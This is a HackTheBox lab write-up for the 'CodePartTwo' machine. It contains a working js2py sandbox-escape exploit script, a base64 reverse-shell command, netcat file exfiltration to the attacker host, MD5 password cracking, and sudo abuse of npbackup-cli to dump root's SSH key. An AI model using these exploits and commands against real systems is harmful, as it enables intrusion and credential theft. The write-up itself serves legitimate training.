Skip to main content
HTB_CodePartTwo

HTB_CodePartTwo

·1010 words·5 mins·
Table of Contents

CodePartTwo
#

Initial recon
#

Nmap scan
#

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: gunicorn/20.0.4
|_http-title: Welcome to CodePartTwo
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

The service hosted at port 8000 reveals a gunicorn server with a code runner. This already sounds a lot like RCE and it is. To be exact, the runner is a frontend for the Python library js2py, which is a library to translate JavaScript code into Python.

On the startpage, we can download the apps source code, which we can then analyse to find a possible attack vector. Here we find this:

...
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})
...

This snippet tells us that other than whatever js2py offers, there are no additional RCE protections in place. When we search for RCE vulnerabilities in js2py, we quickly come across a repository with a POC ready: https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape/blob/main/analysis_en.md.

To avoid any formatting issues, we can paste the code onto a new python file and use the requests library to send the request to the webserver. When running this, I frequently got errors. I believe this is because the webserver expects the output to at least not be an object. We van then try to a blind RCE and attempt a POC with the ping command.

We use the following python script for the exploitation:

import requests

payload = """
let cmd = "ping 10.10.14.2 -c 1"
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__
let obj = a(a(a,"__class__"), "__base__")

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(result)
result

x = 1;
x;
"""

response = requests.post('http://10.10.11.82:8000/run_code', json={'code': payload})

print(response.text)

In a separate terminal window, ready tcpdump to capture any packets sent on your specified network interface:

sudo tcpdump -i <interface>

We then run our script and see ICMP hits in our tcpdump. This means that we have a blind [[RCE]] which we can turn into a shell.

To get the shell, we will modify the let cmd line of our exploit with the commands to call it. I generally recommend piping the shell commands as base64 encoded strings to bash, as this avoids issues with special characters that can happen sometimes. To get the shell, you can use the handy reverse shell builder revshells.com. This can also automatically encode our shell with base64. The modified line will look like this:

let cmd = "echo <BASE64> | base64 -d | bash";

When we run the script, we immediately get a hit in our listener:

┌──(kali㉿kali)-[~/Documents/HTB/CodePartTwo]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [REDACTED] from (UNKNOWN) [10.10.11.82] 45756
sh: 0: can't access tty; job control turned off
$

Searching the webroots directory, we will discover the file users.db inside /instance. To transfer this to our host machine from the restricted shell, we will use nc.

On our host we run:

nc -l -p 1234 -q 1 > users.db < /dev/null

And on the server:

cat users.db | nc 10.10.14.2 1234

Now that we have the file on our host, we can use the file command to inspect what we have. We learn that this is a Sqlite 3.X database file. In the user table we find two username/password combinations:

usernamepassword hash
marco649c9d65a206a75f5abe509fe128bce5
appa97588c0e2fa3a024876339e27aeb42e

These both look like easily crackable md5 cases, so we won’t bother with hashcat or similar at this point and just use crackstation, which lands us a hit for marco:swhttp://localhost:1313/eetangelbabylove. Now we can check if the user marco reused their password for SSH access to the server as well. And as this is an easy HTB machine, yes they did.

marco@codeparttwo:~$ whoami
marco
marco@codeparttwo:~$ id
uid=1000(marco) gid=1000(marco) groups=1000(marco),1003(backups)
marco@codeparttwo:~$ ls
backups  npbackup.conf  user.txt

Privesc
#

As we can see in the output above, the user Marco has a file called npbackup.conf in their home directory. A quick search reveals that this is a restic based backup tool. Checking for sudo privileges with sudo -l, we see that the user marco can run the npbackup-cli.

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Ne next piece of the puzzle is the npbackup.conf file that can be found in the users home directory. This file tells npbackup what to back up, as well as other parameters. As we can run npbackup-cli as root, we can try to back up the root directory.

To do this, the simplest way is to copy the npbackup.conf file to a new location and change the following line from

    repo_group: default_group
    backup_opts:
      paths:
      - /home/app/app/

to:

    repo_group: default_group
    backup_opts:
      paths:
      - /root/

We can then run npbackup-cli with the modified configuration like this:

sudo npbackup-cli -c npbackup.conf -b

When we run the command:

sudo npbackup-cli -c npbackup.conf --ls

We can see that the backup worked and that we have successfully backed up the root directory with some very spicy files:

...
/root/.ssh
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.vim
/root/.vim/.netrwhist
/root/root.txt
...

The npbackup-cli includes a functionality to restore backups to a specified location, however the files are restored with the original permissions, meaning we cannot read the root directory. We can however use the --dump option, which lets us read the contents of a file in the backup repository.

We could at this point simply read the root.txt file, but I wanted to go for an actual compromise. To do this, we read the SSH private key of the root user.

sudo npbackup-cli -c npbackup.conf --dump /root/.ssh/id_rsa

We can then use the key to log in with the root user by connecting to localhost via SSH and read the root flag.